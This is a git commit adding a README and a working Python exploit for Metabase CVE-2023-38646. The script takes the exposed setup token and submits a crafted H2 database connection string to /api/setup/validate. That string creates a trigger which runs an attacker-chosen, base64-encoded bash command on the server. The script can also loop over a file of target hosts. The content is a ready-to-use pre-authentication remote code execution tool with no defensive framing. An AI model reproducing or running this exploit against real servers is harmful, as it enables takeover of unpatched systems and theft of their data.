add Metabase CVE-2023-38646 RCE exp

This commit is contained in:
helloexp 2023-07-30 20:17:55 +08:00
parent 7a7a360a08
commit e2a114ed9c
2 changed files with 111 additions and 0 deletions

View File

@ -0,0 +1,17 @@
# CVE-2023-38646
> Metabase CVE-2023-38646 RCE vulnerability
* CVE: CVE-2023-38646
* CVSS: 9.8
## Vulnerable version
* Metabase Enterprise 1.46 < 1.46.6.1
* Metabase Enterprise 1.45 < 1.45.4.1
* Metabase Enterprise 1.44 < 1.44.7.1
* Metabase Enterprise 1.43 < 1.43.7.2
* Metabase open source 0.46 < 0.46.6.1
* Metabase open source 0.45 < v0.45.4.1
* Metabase open source 0.44 < 0.44.7.1
* Metabase open source 0.43 < 0.43.7.2

View File

@ -0,0 +1,94 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import argparse
import requests
import base64
def exploit(host, port, cmd, protocol='http://'):
global setup_token
target =protocol+ host + ':' + port
print(f'Attacking {target}')
url = target + '/api/session/properties'
step_one = requests.get(url, verify=False)
result = step_one.json()
try:
setup_token = result['setup-token']
except KeyError as e:
print("setup-token missed")
exit(0)
print(f'[+] setup-token={setup_token}')
check_url = target + '/api/setup/validate'
response = requests.post(check_url, timeout=3,
verify=False,
json={
"token": setup_token,
"details": {
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules": {},
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,%s}|{base64,-d}|{bash,-i}')\n$$--=x"
% cmd,
"advanced-options": False,
"ssl": True,
},
"name": "an-sec-research-team",
"engine": "h2",
},
}
)
print(f'[+] Server response:\n{response.text}')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='exp for cve-2023-38346')
parser.add_argument('--host', help='输入目标ip')
parser.add_argument('--file', help='输入包含目标的文件')
parser.add_argument('--port', default='3000', help='输入目标端口,默认为 3000')
parser.add_argument('--cmd', type=str, required=True, help='输入目标ip')
parser.add_argument('--protocol', type=str, default='http', help='输入目标协议http或https')
args = parser.parse_args()
protocol = args.protocol
if ':' not in protocol:
protocol = protocol + '://'
cmd = str(args.cmd)
cmd_len = len(cmd)
if cmd_len % 3 == 0:
pass
elif cmd_len % 3 == 1:
cmd = cmd + ' '
elif cmd_len % 3 == 2:
cmd = cmd + ' '
b64_cmd = base64.b64encode(cmd.encode()).decode()
host_file = args.file
if host_file:
with open(host_file, 'r') as f:
for temp_host in f:
temp_host = temp_host.rstrip('\n')
if ':' in temp_host:
host = temp_host.split(':')[0]
port = temp_host.split(':')[1]
else:
host = temp_host
port = '3000'
try:
exploit(host, port, b64_cmd, protocol)
except Exception as e:
print(f'Connection error:\n{e}')
else:
host = args.host
port = args.port
try:
exploit(host, port, b64_cmd, protocol)
except Exception as e:
print(f'Connection error:\n{e}')